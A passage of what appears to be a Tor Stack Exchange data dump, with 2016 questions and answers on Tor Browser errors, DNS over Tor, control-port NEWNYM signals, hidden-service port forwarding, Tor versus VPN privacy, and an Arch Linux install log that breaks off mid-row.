  <row Id="11924" PostTypeId="1" CreationDate="2016-06-21T09:15:45.157" Score="1" ViewCount="8356" Body="&lt;p&gt;I downloaded the last version of tor browser on Windows 7. I start the installation and everything seems to be ok, but when I try to start tor browser I get the error &quot;Your Tor Browser profile cannot be loaded. It may be missing or inaccessible.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I try to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks everybody in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GL&lt;/p&gt;&#xA;" OwnerUserId="13375" LastActivityDate="2018-01-18T09:16:42.470" Title="ERROR: Your Tor Browser profile cannot be loaded. It may be missing or inaccessible" Tags="|error|tor-install|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11928" PostTypeId="1" CreationDate="2016-06-21T19:55:50.703" Score="1" ViewCount="29" Body="&lt;p&gt;The only thing I have done is believing in tor, and what it has to I offer. Not for some reason different sites day my IP address is blockes. Why1&lt;/p&gt;&#xA;" OwnerUserId="13382" LastActivityDate="2016-06-21T19:55:50.703" Title="My ip is now blocked, and I haven't done nothing illegal" Tags="|ip-address|blocked|" AnswerCount="0" CommentCount="0" ClosedDate="2016-06-22T06:55:21.570" ContentLicense="CC BY-SA 3.0" />
  <row Id="11929" PostTypeId="2" ParentId="9846" CreationDate="2016-06-21T21:58:11.673" Score="1" Body="&lt;p&gt;Check your mac model and specs too see if your mac is 32 bit or 64 bit.   TOR ended support for 32 bit mac's operating system-10.6.8 snow leopard cause Apple  ended  support for snow leopard. If your mac is 64 bit you can use TOR browser latest versions  with snow leopard  and higher OSXs. &#xA;To be more specific with hardware  if you have 32 bit intel core duo CPUs,    leopard is the latest to use and not supported by TOR. Best you could do is to use TOR old   browser version 3.5.1 which is not secure cause not supported by TOR project anymore.&#xA;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read TOR article: The death of OSX 10.6.8 snow leopard...&lt;/p&gt;&#xA;" OwnerUserId="13383" LastEditorUserId="13383" LastEditDate="2016-06-21T22:19:30.493" LastActivityDate="2016-06-21T22:19:30.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11931" PostTypeId="2" ParentId="2048" CreationDate="2016-06-22T11:04:15.813" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;netcat&lt;/code&gt; (&lt;code&gt;nc&lt;/code&gt;) to communicate with another machine (e.g. host), if it also has netcat installed. Netcat is pre-installed in Tails, and most Linux disributions, and available for Windows as part of Cygwin or MSys, or standalone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First start the &lt;code&gt;netcat&lt;/code&gt; in listen mode (on the non-Tails machine, e.g. VirtualBox host):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nc -l 7777 &amp;gt; some_file.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then send the file from Tails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nc 10.0.2.2 7777 &amp;lt; some_file.zip&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Host OS in VirtualBox, when NAT is configured, usually has IP &lt;code&gt;10.0.2.2&lt;/code&gt; so the commands should work as is. Don't forget to change &lt;code&gt;some_file.zip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One caveat: there will be no transfer progress displayed and when it's done, nothing will happen. So you might check the file after some time, to determine if it has completely copied or not.&lt;/p&gt;&#xA;" OwnerUserId="13390" LastEditorUserId="3275" LastEditDate="2016-07-12T15:52:15.940" LastActivityDate="2016-07-12T15:52:15.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11939" PostTypeId="1" CreationDate="2016-06-23T21:55:40.807" Score="1" ViewCount="516" Body="&lt;p&gt;Unfortunately, there is no standard and accurate academic definition for Darknet(not dark web ,deep web, although there is not standard and accurate academic definition).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly the Wikipedia's definition is referenced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you have a standard and accurate standard, I would be grateful?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But my main vagueness is the definition of Wikipedia which says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A darknet (or dark net) is an overlay network that can only be accessed with specific software, configurations, or authorization, often using non-standard communications protocols and ports.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;what does &lt;strong&gt;&quot;non-standard communications protocols and ports&quot;&lt;/strong&gt; means?&#xA;are not Tor , I2p , Freenet ,... standard protocols?&lt;/p&gt;&#xA;" OwnerUserId="13408" LastActivityDate="2016-06-24T05:17:31.670" Title="what does it mean Darknet use non standard protocol?" Tags="|tor-browser-bundle|onion-routing|i2p|darknet|" AnswerCount="1" CommentCount="1" ClosedDate="2016-06-24T15:19:32.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="11943" PostTypeId="1" AcceptedAnswerId="11952" CreationDate="2016-06-24T05:16:31.683" Score="1" ViewCount="623" Body="&lt;p&gt;when using tor expert bundle as a socks proxy dns traffic still appears unencrypted . what are the solutions tor provides for dns ?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;how can i run multiple instances of tor.exe each with a different control port?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;how to connect to tor's control port(9050) and make a newnym signal?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13411" LastEditorUserId="13411" LastEditDate="2017-03-13T14:33:13.507" LastActivityDate="2017-03-13T14:33:13.507" Title="Tor Dns , Multi Instances" Tags="|windows|socks|https|" AnswerCount="2" CommentCount="2" ClosedDate="2017-03-14T21:33:49.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="11944" PostTypeId="2" ParentId="11939" CreationDate="2016-06-24T05:17:31.670" Score="1" Body="&lt;p&gt;I think (maybe) it means they don't use standard Internet protocols to provide the same Internet services.&lt;br&gt;&#xA;For example, when you go to &lt;a href=&quot;https://tor.stackexchange.com/&quot;&gt;https://tor.stackexchange.com/&lt;/a&gt;, your browser sends a DNS request to your default DNS server, sends a TCP SYN packet (make a connection) to the address it resolves to, and sends a HTTP request over the connection. When you go to &lt;a href=&quot;http://anyhiddenservice.onion/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://anyhiddenservice.onion/&lt;/a&gt;, your browser asks onion proxy to connect to that HS (if no DNS leaks), onion proxy does all complicated work (initiate a lookup, build circuits, make a stream aka. connection, etc. These are in Tor's non-standard protocol), and your browser just sends (nearly) the same HTTP request over Tor. Note that Tor works on Transport Layer, so things on the top of transport still remain interoperable with standard protocols (yes, HTTP).&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-06-24T05:17:31.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11946" PostTypeId="1" CreationDate="2016-06-24T19:54:17.723" Score="1" ViewCount="133" Body="&lt;pre&gt;&lt;code&gt;6/24/2016 21:20:26 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/24/2016 21:56:19 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;6/24/2016 21:56:28 PM.800 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;6/24/2016 21:56:28 PM.800 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;6/24/2016 21:56:30 PM.400 [WARN] Proxy Client: unable to connect to IP-ADRESS:PORT (&quot;general SOCKS server failure&quot;) &#xA;6/24/2016 22:44:07 PM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;6/24/2016 22:44:07 PM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;6/24/2016 22:44:07 PM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13419" LastEditorUserId="88" LastEditDate="2016-07-06T08:14:32.933" LastActivityDate="2016-07-06T08:14:32.933" Title="My ISP censors connections and recently, tor doesn't connect. What might be the reason?" Tags="|configuration|bridge|censorship|" AnswerCount="1" CommentCount="3" ClosedDate="2016-07-06T08:15:49.807" ContentLicense="CC BY-SA 3.0" />
  <row Id="11950" PostTypeId="1" CreationDate="2016-06-25T05:43:37.977" Score="1" ViewCount="209" Body="&lt;p&gt;I am configuring a transparent proxy on my server using the instructions given here &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is fine, I make required changes to the torrc file, change nameserver and apply iptables rules then restart network interfaces. Hidden service is accessible up till this point but as soon as I restart the tor service using 'service tor restart', service daemon restarts successfully but the hidden service is no longer accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I try flushing the iptables, restart network interfaces and then again try restarting Tor service daemon but even then the hidden service is not accessible until I reboot the server. After which I am able to access the service. I have confirmed that there is no issue when I restart Tor service daemon after only changing the nameservers, and the issue occurs only after I have applied iptables rules. And for some reason that I don't understand even flushing the iptables and restarting service daemon does not resolve the issue and simply rebooting the server resolves this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what could be causing this or is this somehow expected behavior?&lt;/p&gt;&#xA;" OwnerUserId="13424" LastActivityDate="2016-06-25T05:43:37.977" Title="Hidden service not accessible after configuring transparent proxy" Tags="|configuration|onion-services|network-configuration|transparent-proxy|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11951" PostTypeId="2" ParentId="11943" CreationDate="2016-06-25T06:48:37.837" Score="1" Body="&lt;p&gt;You cannot send signal NEWNYM using port 9050. Usually, the default controllport for tor is 9051. You have to use 9051 to send signal NEWNYM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Port 9050 is used to have anonymous traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is telnet example to send signal using telnet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Leelas-MacBook-Pro:~ Pediredla$ telnet localhost 9051&#xA;Trying ::1...&#xA;telnet: connect to address ::1: Connection refused&#xA;Trying 127.0.0.1...&#xA;Connected to localhost.&#xA;Escape character is '^]'.&#xA;AUTHENTICATE&#xA;250 OK&#xA;SIGNAL NEWNYM&#xA;250 OK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://stem.torproject.org/api/connection.html&quot; rel=&quot;nofollow&quot;&gt;https://stem.torproject.org/api/connection.html&lt;/a&gt; they have python implementation of tor controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check your torrc file for the type of authentication you are using.&lt;/p&gt;&#xA;" OwnerUserId="13425" LastActivityDate="2016-06-25T06:48:37.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11952" PostTypeId="2" ParentId="11943" CreationDate="2016-06-25T08:07:15.523" Score="2" Body="&lt;h3&gt;Encrypted Traffic&lt;/h3&gt;&#xA;&lt;p&gt;Tor is agnostic to the data that is routed through the network. Data is protected as it traverses the network but not before it enters or after it leaves. It is the responsibility of the application to ensure that appropriate cryptography is used to ensure communications authenticity, integrity, and confidentiality. If the application is sending confidential or sensitive information in plaintext it is not fit for purpose and shouldn't be used at all.&lt;/p&gt;&#xA;&lt;h3&gt;DNS&lt;/h3&gt;&#xA;&lt;p&gt;DNS is a plaintext protocol, it cannot be encrypted. However you can route your DNS requests over Tor, unlinking your identity from the requests, by (in order of preference):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using SOCKS5 with remote hostname lookup.&lt;/li&gt;&#xA;&lt;li&gt;Using Tor's &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#DNSPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;DNSPort&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Option 1 requires that the application supports this, many don't, and those that do often don't enforce it consistently.&lt;/p&gt;&#xA;&lt;p&gt;Option 2 would require configuring Tor to listen on port 53/udp and setting your network configuration to explicitly use 127.0.0.1 as the resolver. This will cause &lt;em&gt;all&lt;/em&gt; DNS requests for the system to be resolved through Tor and this may not be a good choice, as it could link together your activities on Tor with your activities outside of Tor. Not to mention Windows &lt;em&gt;bizzaro&lt;/em&gt; chain of actions in it's attempt to resolve an address which isn't even consistent between updates, never mind versions of Windows. You &lt;em&gt;may&lt;/em&gt; end up telling everyone on your network what you're trying to resolve. &lt;em&gt;(hint: WINS/NetBIOS)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;h3&gt;NEWNYM&lt;/h3&gt;&#xA;&lt;p&gt;NEWNYM signals are sent over Tor's &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#ControlPort&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ControlPort&lt;/code&gt;&lt;/a&gt; (&lt;strong&gt;N.B.&lt;/strong&gt; 9050 is normally the &lt;code&gt;SOCKSPort&lt;/code&gt; not the &lt;code&gt;ControlPort&lt;/code&gt;), requests are sent over a plain TCP connection (or UNIX socket), one to a line and each line terminated by a carriage-return and line-feed (although it seems tolerant to just a line-feed). First you must send an &lt;code&gt;AUTHENTICATE&lt;/code&gt; request, this may require some authentication data like a password or a cookie, depending on your configuration, then a &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt; request.&lt;/p&gt;&#xA;&lt;p&gt;There are various software packages like &lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Stem&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/meejah/txtorcon&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;txtorcon&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://github.com/yawning/bulb&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;bulb&lt;/code&gt;&lt;/a&gt;, and &lt;a href=&quot;https://github.com/sycamoreone/orc&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;orc&lt;/code&gt;&lt;/a&gt; which can talk the control port protocol.&lt;/p&gt;&#xA;&lt;p&gt;The protocol is &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;defined here&lt;/a&gt;, it's pretty straight forward and a few lines of python or whatever your preferred language is would be sufficient to create a script that would send the correct commands if you don't want to, or cannot, use the pre-existing libraries (I'm not sure how well they all support Windows, see my comments further down)&lt;/p&gt;&#xA;&lt;h3&gt;Multiple copies of Tor&lt;/h3&gt;&#xA;&lt;p&gt;Yes, it is perfectly fine to run multiple copies of Tor, each with different ports &lt;em&gt;however&lt;/em&gt; they &lt;strong&gt;must&lt;/strong&gt; also each use a different &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#DataDirectory&quot; rel=&quot;nofollow noreferrer&quot;&gt;DataDirectory&lt;/a&gt;. You can also run a single copy of Tor with multiple ports configured. See the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;fine manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SOCKSPort [address:]port|unix:path|auto [flags] [isolation flags]&lt;/p&gt;&#xA;&lt;p&gt;Open this port to listen for connections from SOCKS-speaking applications. Set this to 0 if you don’t want to allow application connections via SOCKS. Set it to &amp;quot;auto&amp;quot; to have Tor pick a port for you. &lt;strong&gt;This directive can be specified multiple times to bind to multiple addresses/ports.&lt;/strong&gt; (Default: 9050)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3&gt;Windows&lt;/h3&gt;&#xA;&lt;p&gt;Outside of Tor Browser, there is very little tooling around Tor on Windows. Generally Windows is not considered a platform that is compatible with anonymity. It is closed source and relies on you trusting that isn't not going to betray you.&lt;/p&gt;&#xA;&lt;p&gt;Outside of purely Windows issues, many applications are not suitable for use with Tor, they leak and they report identifying information about you, which even if anonymized on the network level by Tor, will still identify you. As such you should try to stick to using tools like Tor Browser which have been robustly designed to not leak or send identifying information.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;In future, one question per question, please. This answer already feel needlessly long. It's called the &lt;em&gt;Expert&lt;/em&gt; Bundle for a reason!&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-25T09:23:00.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11954" PostTypeId="1" CreationDate="2016-06-25T11:28:33.780" Score="2" ViewCount="4357" Body="&lt;p&gt;For example I have hidden service xxxxx.onion:1234 and I want to forward port 1234 to the clearnet on another server. Can I do it without any socks/http proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;redir --lport=1234 --caddr=xxxxx.onion --cport=1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't need to create new hidden service I've already got it.&lt;/p&gt;&#xA;" OwnerUserId="13428" LastEditorUserId="13429" LastEditDate="2016-06-25T15:11:30.773" LastActivityDate="2021-10-13T15:06:24.383" Title="Port forwarding to a hidden service" Tags="|configuration|onion-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11955" PostTypeId="2" ParentId="11954" CreationDate="2016-06-25T11:47:12.023" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HiddenServicePort&quot; rel=&quot;nofollow noreferrer&quot;&gt;Read The !$%# Manual&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;HiddenServicePort VIRTPORT [TARGET]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Configure a virtual port VIRTPORT for a hidden service. You may use this option multiple times; each time applies to the service using the most recent HiddenServiceDir. By default, this option maps the virtual port to the same port on 127.0.0.1 over TCP. &lt;strong&gt;You may override the target port, address, or both by specifying a target of addr, port, addr:port, or unix:path.&lt;/strong&gt; (You can specify an IPv6 target as [addr]:port.) You may also have multiple lines with the same VIRTPORT: when a user connects to that VIRTPORT, one of the TARGETs from those lines will be chosen at random.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/lib/tor/foo/&#xA;HiddenServicePort 1234 5.6.7.8:1234&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&lt;p&gt;In your updated case (which seems to be the inverse of &amp;quot;I want to forward [...] &lt;em&gt;to&lt;/em&gt; the clearnet&amp;quot;), you want some non-onion site to display the content of an onion. This will require &lt;em&gt;at least&lt;/em&gt; some form of proxy to fetch content from the tor network. What you seem to be describing is &lt;a href=&quot;https://tor2web.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor2Web&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-29T16:34:03.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11956" PostTypeId="2" ParentId="1259" CreationDate="2016-06-25T17:11:12.817" Score="0" Body="&lt;p&gt;I suggest you to use IPTables on Linux box : the manual you've referred to is not so clear. You need to drop &lt;strong&gt;ALL&lt;/strong&gt; UDP, but DNS-related UDP queries must be routed to your local DNS &lt;em&gt;server&lt;/em&gt;, not Tor itself. After that - all the leaks are up to your client setup: for example, if you will enable it to access your GPS device, it will leak your location for sure, but it's not a problem of the router itself and Tor.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-25T17:11:12.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11957" PostTypeId="1" AcceptedAnswerId="11959" CreationDate="2016-06-25T17:20:29.097" Score="1" ViewCount="348" Body="&lt;p&gt;My understanding is that Tor is a more private/anonymous/secure way to browse the internet in comparison to using a VPN. If I understand correctly, this is because with a VPN, the VPN provider has access to both your IP and your destination's IP and can therefor link the two while this information is spread out over 3 nodes in Tor. I was comfortable with this idea until I read a &lt;a href=&quot;https://www.hotspotshield.com/learn/tor-vs-vpn/&quot; rel=&quot;nofollow&quot;&gt;Tor vs VPN article&lt;/a&gt; which suggests that a VPN is actually superior in terms of security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site claims the only real disadvantage of VPN is the cost and that &lt;em&gt;&quot;If you just want to surf the web anonymously, then Tor may be sufficient&quot;&lt;/em&gt;. This is quite contrary to my understanding of Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, I am comparing Tor to VPN when using SSL/TLS. I am aware that using Tor to visit a plaintext site is insecure because your traffic is not encrypted out of the exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is simply if my understanding prior to reading this article was correct and if so, why does the article conclude a VPN to be superior to Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help&lt;/p&gt;&#xA;" OwnerUserId="13430" LastEditorUserId="12737" LastEditDate="2016-06-30T14:47:56.623" LastActivityDate="2016-06-30T14:47:56.623" Title="Security of Tor compared to VPN" Tags="|anonymity|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11958" PostTypeId="2" ParentId="11946" CreationDate="2016-06-25T17:23:29.220" Score="0" Body="&lt;p&gt;It seems that it's a very frequent bug in Tor Browser Bundle, check the messages &lt;code&gt;DisableNetwork is set.&lt;/code&gt; It's &lt;strong&gt;pretty odd, but&lt;/strong&gt;: Tor Browser sets DisableNetwork when it's not opened, so Tor instance seems to be intended to run only when the &lt;em&gt;browser itself&lt;/em&gt; is active. Run &lt;strong&gt;the browser&lt;/strong&gt; and don't close it - give it some time and send a full log if it will not work even that way. Also a pluggable transports and bridges can be of help to you&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-06-25T17:23:29.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11959" PostTypeId="2" ParentId="11957" CreationDate="2016-06-25T18:48:08.323" Score="3" Body="&lt;p&gt;That random site who will make money in selling you a VPN service is being &quot;liberal with the truth&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets do a point by point:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Their &quot;Tor disadvantages&quot;&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;It is very slow&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not always, you can reasonably stream video over Tor. Tor has latency, but the throughput can be good enough to stream video, which is what's important (suggests a fundamental lack of understanding of networking on their part). But I don't think the bandwidth cost just so you can watch pirated TV shows on the internet is considered a good use of Tor by the Tor Project.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Some ISPs actively search out and block Tor relays&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tor's pluggable transports and bridges make it harder to block than a VPN which does nothing to even try to disguise its true nature. If some ISP thought &quot;HotspotShield&quot; was actually worth the effort, it'd be blocked.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Since the traffic at the exit node is unencrypted, anyone (the police, the government, or a hacker) that is running the exit node can see your internet traffic.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This is true for their VPN too...except only they or whoever is coercing them or has hacked them can see your traffic, and they know whos traffic it is...which the exit does not. This is a pretty silly claim that is oft repeated. So you're worse off on a VPN.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Their &quot;VPN advantages&quot;&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Connection speed is a lot faster compared to Tor&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Maybe, maybe not. Theres no guarantee that it is &quot;faster&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;VPN provides better privacy and security than Tor.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Outright lie, it is worse on both counts.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Some VPN providers include malware protection in the client software.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;malware protection&quot; means they watch what youre doing with the VPN and &quot;malware protection&quot; doesn't work against even a half-way competent adversary. Not helpful, probably harmful.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Conclusion&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Surprisingly &lt;em&gt;(!!!)&lt;/em&gt; it turns out the sketchy company with a product to sell are actively misleading you.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-25T18:48:08.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11960" PostTypeId="2" ParentId="10278" CreationDate="2016-06-25T22:05:21.243" Score="1" Body="&lt;p&gt;Tor Browser's &lt;code&gt;torrc&lt;/code&gt; file is actually a minimalist set of changes made by the user (some of them to correctly set local directories, etc), the base set of configuration choices for tor itself is in the &lt;code&gt;torrc-defaults&lt;/code&gt; file which is applied first then modified or overridden by the users changes set in the &lt;code&gt;torrc&lt;/code&gt; file. However even &lt;code&gt;torrc-defaults&lt;/code&gt; a reduced set and doesn't include the complete output of &lt;code&gt;torrc&lt;/code&gt; that would be generated by a normal tor build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, under Tor Browser you won't find the commented lines in &lt;code&gt;torrc&lt;/code&gt; that the documentation describes but adding them yourself will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most cases it's not recommended to run a hidden service from a Tor client that is likely to go on and offline with your own activity (e.g. when you start or stop tor browser) because this would potentially link your being on or offline to the status of the hidden service and thus link your identity and the service together but there is no reason that it &lt;em&gt;cannot&lt;/em&gt; work and it is indeed a perfectly valid use case under certain scenarios.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-25T22:05:21.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11963" PostTypeId="1" CreationDate="2016-06-26T13:53:36.273" Score="1" ViewCount="648" Body="&lt;p&gt;Is the current version of Tor backward compatible with Mac Yosemite 10.10.5? Nothing appears to happen when clicking the application icon, aside from it bouncing a couple of times. After that, it doesn't load, although it does appear in the &quot;Quit Application&quot; window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is compatible, what could be interfering with the application?&lt;/p&gt;&#xA;" OwnerUserId="13084" LastActivityDate="2022-10-14T13:02:38.840" Title="Tor browser not opening on Mac OS Yosemite 10.10.5" Tags="|mac|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11964" PostTypeId="1" CreationDate="2016-06-26T22:35:38.183" Score="1" ViewCount="1761" Body="&lt;p&gt;I need to connect to tor. So I downloaded tor doing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo pacman -S tor torsocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it downloaded succesfully:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Total Installed Size:  7.51 MiB&#xA;&#xA;:: Proceed with installation? [Y/n] Y&#xA;(2/2) checking keys in keyring                     [######################] 100%&#xA;(2/2) checking package integrity                   [######################] 100%&#xA;(2/2) loading package files                        [######################] 100%&#xA;(2/2) checking for file conflicts                  [######################] 100%&#xA;(2/2) checking available disk space                [######################] 100%&#xA;:: Processing package changes...&#xA;(1/2) installing tor                               [######################] 100%&#xA;error: command failed to execute correctly&#xA;Optional dependencies for tor&#xA;    torsocks: for torify [pending]&#xA;(2/2) installing torsocks                          [######################] 100%&#xA;:: Running post-transaction hooks...&#xA;(1/1) Updating manpage index...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run the service on the other hand:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[coleton@coleton ~]$ sudo systemctl start tor&#xA;[coleton@coleton ~]$ sudo systemctl status tor.service&#xA;● tor.service - Anonymizing Overlay Network&#xA;   Loaded: loaded (/usr/lib/systemd/system/tor.service; disabled; vendor preset:&#xA;   Active: active (running) since Sun 2016-06-26 18:16:05 UTC; 8min ago&#xA; Main PID: 17112 (tor)&#xA;    Tasks: 1 (limit: 512)&#xA;   CGroup: 